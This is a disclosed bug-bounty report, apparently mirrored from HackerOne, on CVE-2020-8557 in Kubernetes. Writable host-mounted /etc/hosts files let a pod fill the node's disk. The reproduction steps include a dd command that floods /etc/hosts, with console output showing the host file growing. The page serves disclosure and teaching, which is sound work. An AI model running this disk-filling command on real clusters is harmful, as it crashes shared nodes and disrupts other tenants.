Skip to content
DoS Disclosed report Intermediate CVE-2020-8557

Node disk DOS by writing to container /etc/hosts

Files such as /etc/hosts, /etc/hostname and /etc/resolv.conf inside a pod are mounted from the host and are not read-only, so a process in the container can write to them. An attacker with the ability to create a pod could fill the host disk by writing large amounts of data to these files, potentially causing the node to fail.

kebe Follow

Originally disclosed on HackerOne

Bounty$1,000 Medium 5.5 View original
  • Triaged in 12 hours
  • Fixed in 2 months
  • Paid in 7 days
  • Disclosed after 2 months

Report Submission Form

Summary:

Pod files /etc/hosts, /etc/hostname, /etc/resolve.conf are not readonly. A normal pod running in kubernetes cluster can kil a host through write data to /etc/hosts. Not only /etc/hosts, but also /etc/resolve.conf and /etc/hostname can do this.

Kubernetes Version:

<=1.18

Component Version:

Docker 19.03

Steps To Reproduce:

  1. use kubectl create a pod like kubectl run
  2. run kubectl exec -it $POD_NAME -- dd if=/dev/zero of=/etc/hosts count=1000000 bs=10M
  3. run df -h /var/lib/kubelet on host that pod running, you can see the disk avaliable space are decreasing until the disk full.

Supporting Material/References:

CONSOLE
[root@kebe-sm-315 ~]# kubectl exec -it rate-c848c5c8b-5b8vm sh
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl kubectl exec [POD] -- [COMMAND] instead.
Defaulting container name to rate.
Use 'kubectl describe pod/rate-c848c5c8b-5b8vm -n default' to see all of the containers in this pod.
/ # df -h
Filesystem                Size      Used Available Use% Mounted on
/dev/mapper/docker-8:16-67108930-710dfe5c781bd17e11968371b9d0f84641a2efde95c68a47eddf9ae518e768d1
                         10.0G     40.3M     10.0G   0% /
tmpfs                    64.0M         0     64.0M   0% /dev
tmpfs                     9.7G         0      9.7G   0% /sys/fs/cgroup
/dev/mapper/centos-root
                         53.0G     28.6G     24.4G  54% /dev/termination-log
/dev/sdb                100.0G     40.9G     59.1G  41% /etc/resolv.conf
/dev/sdb                100.0G     40.9G     59.1G  41% /etc/hostname
/dev/mapper/centos-root
                         53.0G     28.6G     24.4G  54% /etc/hosts
shm                      64.0M      8.0K     64.0M   0% /dev/shm
tmpfs                     9.7G     12.0K      9.7G   0% /var/run/secrets/kubernetes.io/serviceaccount
tmpfs                     9.7G         0      9.7G   0% /proc/acpi
tmpfs                    64.0M         0     64.0M   0% /proc/kcore
tmpfs                    64.0M         0     64.0M   0% /proc/keys
tmpfs                    64.0M         0     64.0M   0% /proc/timer_list
tmpfs                    64.0M         0     64.0M   0% /proc/timer_stats
tmpfs                    64.0M         0     64.0M   0% /proc/sched_debug
tmpfs                     9.7G         0      9.7G   0% /proc/scsi
tmpfs                     9.7G         0      9.7G   0% /sys/firmware

[root@kebe-sm-315 86aae92d-e0f2-4cf5-bb85-039b416f6b66]# ls -al
总用量 12
drwxr-xr-x  5 root root   71 5月   7 12:29 .
drwxr-x--- 50 root root 4096 5月   7 12:29 ..
drwxr-x---  5 root root   55 5月   7 12:31 containers
-rw-r--r--  1 root root  270 5月   7 12:31 etc-hosts
drwxr-x---  3 root root   37 5月   7 12:29 plugins
drwxr-xr-x  4 root root   65 5月   7 12:29 volumes
[root@kebe-sm-315 86aae92d-e0f2-4cf5-bb85-039b416f6b66]# kubectl exec -it rate-c848c5c8b-5b8vm -- dd if=/dev/zero of=/etc/hosts count=100 bs=1M
Defaulting container name to rate.
Use 'kubectl describe pod/rate-c848c5c8b-5b8vm -n default' to see all of the containers in this pod.
100+0 records in
100+0 records out
[root@kebe-sm-315 86aae92d-e0f2-4cf5-bb85-039b416f6b66]# ls -al
总用量 102408
drwxr-xr-x  5 root root        71 5月   7 12:29 .
drwxr-x--- 50 root root      4096 5月   7 12:29 ..
drwxr-x---  5 root root        55 5月   7 12:31 containers
-rw-r--r--  1 root root 104857600 5月   7 15:06 etc-hosts
drwxr-x---  3 root root        37 5月   7 12:29 plugins
drwxr-xr-x  4 root root        65 5月   7 12:29 volumes
  • [attachment / reference]

Impact

If someone create a pod on a public cloud with kubernetes, the host of the provider may panic due to disk full.

The original report as published on HackerOne, by kebe. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the container runtime bind-mounts the host's /etc/hosts, /etc/hostname and /etc/resolv.conf files into the pod without making them read-only or limiting their size, so writes from inside the container consume host disk space.

Impact

An attacker who can create a pod could fill the host disk and cause the node, and potentially the cloud provider's host, to panic.

What the attacker needed

Ability to create a pod in the cluster

How it was found

  1. Create a pod using kubectl.
  2. Run a command inside the pod that writes a large amount of data to /etc/hosts.
  3. Check free disk space on the host running the pod and observe it shrinking until the disk is full.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A pod is a small container that runs on a shared machine called a node. Some files inside the pod are actually stored on the node's own disk, and the container is allowed to write to them. Because there is no size limit, someone who can start a pod can keep writing until the node's disk is full, which can stop the node from working.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from Kubernetes

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.